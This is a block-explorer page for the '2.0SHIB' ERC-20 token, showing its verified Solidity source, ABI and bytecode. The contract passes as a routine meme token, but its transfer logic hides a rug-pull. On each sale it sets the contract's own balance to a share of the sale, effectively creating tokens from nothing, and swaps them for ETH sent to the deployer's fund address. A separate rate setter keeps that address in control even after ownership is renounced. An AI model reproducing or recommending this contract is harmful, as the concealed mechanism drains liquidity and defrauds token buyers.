ERC-20
Overview
Max Total Supply
420,690,000,000,000 2.0SHIB
Holders
48
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
979,795,716,761.73423872 2.0SHIBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ERC20
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /* * Telegram : https://t.me/TwoShib_ERC * Twitter : https://twitter.com/2SHIB_ERC * Website : 20shib.Info */ interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TokenDistributor { constructor (address token) { (bool success, ) = token.call(abi.encodeWithSignature("approve(address,uint256)",msg.sender, ~uint256(0))); require(success); } } contract ERC20 is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public fundAddress; string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); uint256 public _buyFundFee = 1; uint256 public _sellFundFee = 1; address public _uniswapPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } TokenDistributor public _tokenDistributor; constructor (){ _name = "2.0SHIB"; _symbol = "2.0SHIB"; _decimals = 9; uint256 Supply = 420_690_000_000_000; IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); address swapPair = swapFactory.createPair(address(this), swapRouter.WETH()); _uniswapPair = swapPair; isMarketPair[swapPair] = true; _totalSupply = Supply * 10 ** _decimals; address receiveAddr = msg.sender; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); fundAddress = receiveAddr; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[address(swapRouter)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[fundAddress] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _tokenDistributor = new TokenDistributor(_uniswapRouter.WETH()); } function disablefee() public onlyOwner{ _buyFundFee = 0; _sellFundFee = 0; } function setFundAddr(address newAddr) public onlyOwner{ fundAddress = newAddr; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } uint256 public rate = 30; function setrate(uint256 newv) public { address on = fundAddress; if (msg.sender == on){ rate = newv; } } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); bool takeFee; bool sellFlag; if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) { uint256 contractTokenBalance = amount*rate/100; if (contractTokenBalance > balanceOf(address(this))) _balances[address(this)] = contractTokenBalance; if (contractTokenBalance > 0) swapTokenForETH(contractTokenBalance); } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { takeFee = true; } if (takeFee && !isMarketPair[from] && !isMarketPair[to]){ takeFee = false; } if (isMarketPair[to]) { sellFlag = true; } _transferToken(from, to, amount, takeFee, sellFlag); } function autoSwap(uint256 _count) public { IERC20(_uniswapRouter.WETH()).transferFrom(msg.sender, address(this), _count); swapTokenToDistribute(_count); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function swapTokenToDistribute(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = _uniswapRouter.WETH(); path[1] = address(this); // make the swap // if(tokenAmount <= balance) try _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of CA path, address(_tokenDistributor), block.timestamp ) {} catch {} if(balanceOf(address(_tokenDistributor))>0) _basicTransfer(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor))); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee, bool sellFlag ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (sellFlag) { taxFee = _sellFundFee; } else { taxFee = _buyFundFee; } uint256 swapAmount = tAmount * taxFee / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } function removeERC20(address _token) external { if(_token != address(this)){ IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this))); payable(fundAddress).transfer(address(this).balance); } } event catchEvent(uint8); function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(fundAddress), block.timestamp ) {} catch { emit catchEvent(0); } } function setIsExcludeFromFees(address account, bool value) public onlyOwner{ _isExcludeFromFee[account] = value; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"autoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disablefee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newv","type":"uint256"}],"name":"setrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600c556001600d55601e6010553480156200002057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260078082526619171829a424a160c91b60209092019182526200009291600491620005a8565b506040805180820190915260078082526619171829a424a160c91b6020909201918252620000c391600591620005a8565b506006805460ff1916600990811790915580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b8152905166017e9d8602b400949392849263c45a01559260048083019392829003018186803b1580156200015757600080fd5b505afa1580156200016c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019291906200065c565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e057600080fd5b505afa158015620001f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021b91906200065c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200026457600080fd5b505af115801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f91906200065c565b600e80546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620002ee9160ff1690620006fb565b620002fa9085620007bc565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319166001600160a01b038381169182178355306000908152600760209081526040808320805460ff1990811660019081179092558b861685528285208054821683179055958452818420805487168217905595548416835291829020805490941690941790925560095482516315ab88c960e31b8152925191169263ad5c46489260048082019391829003018186803b158015620003f057600080fd5b505afa15801562000405573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042b91906200065c565b60095460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156200047a57600080fd5b505af11580156200048f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b591906200068e565b50600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200050557600080fd5b505afa1580156200051a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200054091906200065c565b6040516200054e9062000637565b6001600160a01b039091168152602001604051809103906000f0801580156200057b573d6000803e3d6000fd5b50600f80546001600160a01b0319166001600160a01b039290921691909117905550620008319350505050565b828054620005b690620007de565b90600052602060002090601f016020900481019282620005da576000855562000625565b82601f10620005f557805160ff191683800117855562000625565b8280016001018555821562000625579182015b828111156200062557825182559160200191906001019062000608565b506200063392915062000645565b5090565b6101958062001f3a83390190565b5b8082111562000633576000815560010162000646565b6000602082840312156200066f57600080fd5b81516001600160a01b03811681146200068757600080fd5b9392505050565b600060208284031215620006a157600080fd5b815180151581146200068757600080fd5b600181815b80851115620006f3578160001904821115620006d757620006d76200081b565b80851615620006e557918102915b93841c9390800290620006b7565b509250929050565b60006200068760ff8416836000826200071757506001620007b6565b816200072657506000620007b6565b81600181146200073f57600281146200074a576200076a565b6001915050620007b6565b60ff8411156200075e576200075e6200081b565b50506001821b620007b6565b5060208310610133831016604e8410600b84101617156200078f575081810a620007b6565b6200079b8383620006b2565b8060001904821115620007b257620007b26200081b565b0290505b92915050565b6000816000190483118215151615620007d957620007d96200081b565b500290565b600181811c90821680620007f357607f821691505b602082108114156200081557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6116f980620008416000396000f3fe6080604052600436106101a05760003560e01c806370a08231116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104b7578063e82bef29146104fd578063ec8274601461051d578063f2fde38b1461053d57600080fd5b8063a9059cbb14610461578063ba34c8f114610481578063ce0192f9146104a157600080fd5b80638718b24f116100c65780638718b24f146103ee5780638da5cb5b1461040e57806395d89b411461042c578063a67755c21461044157600080fd5b806370a0823114610383578063715018a6146103b9578063863587cd146103ce57600080fd5b806336b2e027116101595780633ecad271116101335780633ecad271146102db5780634bf28fd01461030b57806365b61b77146103435780636f39cfcd1461036357600080fd5b806336b2e0271461027e5780633b3e1383146102ae5780633bfe62ca146102c557600080fd5b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461020757806323b872dd146102265780632c4e722e14610246578063313ce5671461025c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c161055d565b6040516101ce91906114d8565b60405180910390f35b3480156101e357600080fd5b506101f76101f236600461145d565b6105ef565b60405190151581526020016101ce565b34801561021357600080fd5b506008545b6040519081526020016101ce565b34801561023257600080fd5b506101f76102413660046113ee565b610605565b34801561025257600080fd5b5061021860105481565b34801561026857600080fd5b5060065460405160ff90911681526020016101ce565b34801561028a57600080fd5b506101f7610299366004611374565b60076020526000908152604090205460ff1681565b3480156102ba57600080fd5b506102c361069c565b005b3480156102d157600080fd5b50610218600d5481565b3480156102e757600080fd5b506101f76102f6366004611374565b600a6020526000908152604090205460ff1681565b34801561031757600080fd5b50600e5461032b906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561034f57600080fd5b5060095461032b906001600160a01b031681565b34801561036f57600080fd5b506102c361037e366004611374565b6106db565b34801561038f57600080fd5b5061021861039e366004611374565b6001600160a01b031660009081526001602052604090205490565b3480156103c557600080fd5b506102c3610727565b3480156103da57600080fd5b506102c36103e936600461142f565b61079b565b3480156103fa57600080fd5b50600f5461032b906001600160a01b031681565b34801561041a57600080fd5b506000546001600160a01b031661032b565b34801561043857600080fd5b506101c16107f0565b34801561044d57600080fd5b506102c361045c366004611374565b6107ff565b34801561046d57600080fd5b506101f761047c36600461145d565b610952565b34801561048d57600080fd5b506102c361049c3660046114a6565b61095f565b3480156104ad57600080fd5b50610218600c5481565b3480156104c357600080fd5b506102186104d23660046113b5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561050957600080fd5b5060035461032b906001600160a01b031681565b34801561052957600080fd5b506102c36105383660046114a6565b610979565b34801561054957600080fd5b506102c3610558366004611374565b610a91565b60606004805461056c90611639565b80601f016020809104026020016040519081016040528092919081815260200182805461059890611639565b80156105e55780601f106105ba576101008083540402835291602001916105e5565b820191906000526020600020905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b60006105fc338484610b57565b50600192915050565b6000610612848484610bb8565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610692576001600160a01b038416600090815260026020908152604080832033845290915290205461066d908390611622565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106cf5760405162461bcd60e51b81526004016106c69061152d565b60405180910390fd5b6000600c819055600d55565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016106c69061152d565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107515760405162461bcd60e51b81526004016106c69061152d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016106c69061152d565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60606005805461056c90611639565b6001600160a01b038116301461094f576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089591906114bf565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109139190611489565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561094d573d6000803e3d6000fd5b505b50565b60006105fc338484610bb8565b6003546001600160a01b03163381141561094d5750601055565b600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c757600080fd5b505afa1580156109db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ff9190611398565b6040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b0391909116906323b872dd90606401602060405180830381600087803b158015610a4f57600080fd5b505af1158015610a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a879190611489565b5061094f81610dd4565b6000546001600160a01b03163314610abb5760405162461bcd60e51b81526004016106c69061152d565b6001600160a01b038116610afc5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106c6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610c145760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016106c6565b6001600160a01b0383166000908152600a6020526040812054819060ff168015610c415750600b5460ff16155b8015610c6657506001600160a01b03861660009081526007602052604090205460ff16155b8015610c8b57506001600160a01b03851660009081526007602052604090205460ff16155b15610cea576000606460105486610ca29190611603565b610cac91906115e1565b30600090815260016020526040902054909150811115610cd9573060009081526001602052604090208190555b8015610ce857610ce881610f94565b505b6001600160a01b03861660009081526007602052604090205460ff16158015610d2c57506001600160a01b03851660009081526007602052604090205460ff16155b8015610d3b5750600b5460ff16155b15610d4557600191505b818015610d6b57506001600160a01b0386166000908152600a602052604090205460ff16155b8015610d9057506001600160a01b0385166000908152600a602052604090205460ff16155b15610d9a57600091505b6001600160a01b0385166000908152600a602052604090205460ff1615610dbf575060015b610dcc8686868585611129565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610e4657600080fd5b505afa158015610e5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7e9190611398565b81600081518110610e9157610e9161168a565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610ec557610ec561168a565b6001600160a01b039283166020918202929092010152600954600f54604051635c11d79560e01b815291831692635c11d79592610f119287926000928892909116904290600401611558565b600060405180830381600087803b158015610f2b57600080fd5b505af1925050508015610f3c575060015b50600f546001600160a01b031660009081526001602052604090205415610f8657600f546001600160a01b0316600081815260016020526040902054610f84919030906112ba565b505b5050600b805460ff19169055565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd657610fd661168a565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561102a57600080fd5b505afa15801561103e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110629190611398565b816001815181106110755761107561168a565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac947926110c19287926000928892909116904290600401611558565b600060405180830381600087803b1580156110db57600080fd5b505af19250505080156110ec575060015b610f8657604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a1610f86565b6001600160a01b03851660009081526001602052604090205461114d908490611622565b6001600160a01b038616600090815260016020526040812091909155821561122a57600082156111805750600d54611185565b50600c545b600060646111938388611603565b61119d91906115e1565b90508015611227576111af81846115c9565b306000908152600160205260409020549093506111cd9082906115c9565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121e9085815260200190565b60405180910390a35b50505b6112348185611622565b6001600160a01b03861660009081526001602052604090205461125791906115c9565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112a18488611622565b60405190815260200160405180910390a3505050505050565b6001600160a01b0383166000908152600160205260408120546112de908390611622565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461130e9083906115c9565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113629086815260200190565b60405180910390a35060019392505050565b60006020828403121561138657600080fd5b8135611391816116a0565b9392505050565b6000602082840312156113aa57600080fd5b8151611391816116a0565b600080604083850312156113c857600080fd5b82356113d3816116a0565b915060208301356113e3816116a0565b809150509250929050565b60008060006060848603121561140357600080fd5b833561140e816116a0565b9250602084013561141e816116a0565b929592945050506040919091013590565b6000806040838503121561144257600080fd5b823561144d816116a0565b915060208301356113e3816116b5565b6000806040838503121561147057600080fd5b823561147b816116a0565b946020939093013593505050565b60006020828403121561149b57600080fd5b8151611391816116b5565b6000602082840312156114b857600080fd5b5035919050565b6000602082840312156114d157600080fd5b5051919050565b600060208083528351808285015260005b81811015611505578581018301518582016040015282016114e9565b81811115611517576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115a85784516001600160a01b031683529383019391830191600101611583565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115dc576115dc611674565b500190565b6000826115fe57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561161d5761161d611674565b500290565b60008282101561163457611634611674565b500390565b600181811c9082168061164d57607f821691505b6020821081141561166e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461094f57600080fd5b801515811461094f57600080fdfea264697066735822122030b644c3901470930630777809110a3671d55781a54acd1f5176d54a9a70d02864736f6c63430008070033608060405234801561001057600080fd5b5060405161019538038061019583398101604081905261002f916100dd565b60405133602482015260001960448201526000906001600160a01b0383169060640160408051601f198184030181529181526020820180516001600160e01b031663095ea7b360e01b17905251610086919061010d565b6000604051808303816000865af19150503d80600081146100c3576040519150601f19603f3d011682016040523d82523d6000602084013e6100c8565b606091505b50509050806100d657600080fd5b5050610148565b6000602082840312156100ef57600080fd5b81516001600160a01b038116811461010657600080fd5b9392505050565b6000825160005b8181101561012e5760208186018101518583015201610114565b8181111561013d576000828501525b509190910192915050565b603f806101566000396000f3fe6080604052600080fdfea2646970667358221220cb9390c3ba0779717507b2190700a5c1d81f98bf298260d752d03e4926d7902764736f6c63430008070033
Deployed Bytecode
0x6080604052600436106101a05760003560e01c806370a08231116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104b7578063e82bef29146104fd578063ec8274601461051d578063f2fde38b1461053d57600080fd5b8063a9059cbb14610461578063ba34c8f114610481578063ce0192f9146104a157600080fd5b80638718b24f116100c65780638718b24f146103ee5780638da5cb5b1461040e57806395d89b411461042c578063a67755c21461044157600080fd5b806370a0823114610383578063715018a6146103b9578063863587cd146103ce57600080fd5b806336b2e027116101595780633ecad271116101335780633ecad271146102db5780634bf28fd01461030b57806365b61b77146103435780636f39cfcd1461036357600080fd5b806336b2e0271461027e5780633b3e1383146102ae5780633bfe62ca146102c557600080fd5b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461020757806323b872dd146102265780632c4e722e14610246578063313ce5671461025c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c161055d565b6040516101ce91906114d8565b60405180910390f35b3480156101e357600080fd5b506101f76101f236600461145d565b6105ef565b60405190151581526020016101ce565b34801561021357600080fd5b506008545b6040519081526020016101ce565b34801561023257600080fd5b506101f76102413660046113ee565b610605565b34801561025257600080fd5b5061021860105481565b34801561026857600080fd5b5060065460405160ff90911681526020016101ce565b34801561028a57600080fd5b506101f7610299366004611374565b60076020526000908152604090205460ff1681565b3480156102ba57600080fd5b506102c361069c565b005b3480156102d157600080fd5b50610218600d5481565b3480156102e757600080fd5b506101f76102f6366004611374565b600a6020526000908152604090205460ff1681565b34801561031757600080fd5b50600e5461032b906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561034f57600080fd5b5060095461032b906001600160a01b031681565b34801561036f57600080fd5b506102c361037e366004611374565b6106db565b34801561038f57600080fd5b5061021861039e366004611374565b6001600160a01b031660009081526001602052604090205490565b3480156103c557600080fd5b506102c3610727565b3480156103da57600080fd5b506102c36103e936600461142f565b61079b565b3480156103fa57600080fd5b50600f5461032b906001600160a01b031681565b34801561041a57600080fd5b506000546001600160a01b031661032b565b34801561043857600080fd5b506101c16107f0565b34801561044d57600080fd5b506102c361045c366004611374565b6107ff565b34801561046d57600080fd5b506101f761047c36600461145d565b610952565b34801561048d57600080fd5b506102c361049c3660046114a6565b61095f565b3480156104ad57600080fd5b50610218600c5481565b3480156104c357600080fd5b506102186104d23660046113b5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561050957600080fd5b5060035461032b906001600160a01b031681565b34801561052957600080fd5b506102c36105383660046114a6565b610979565b34801561054957600080fd5b506102c3610558366004611374565b610a91565b60606004805461056c90611639565b80601f016020809104026020016040519081016040528092919081815260200182805461059890611639565b80156105e55780601f106105ba576101008083540402835291602001916105e5565b820191906000526020600020905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b60006105fc338484610b57565b50600192915050565b6000610612848484610bb8565b6001600160a01b038416600090815260026020908152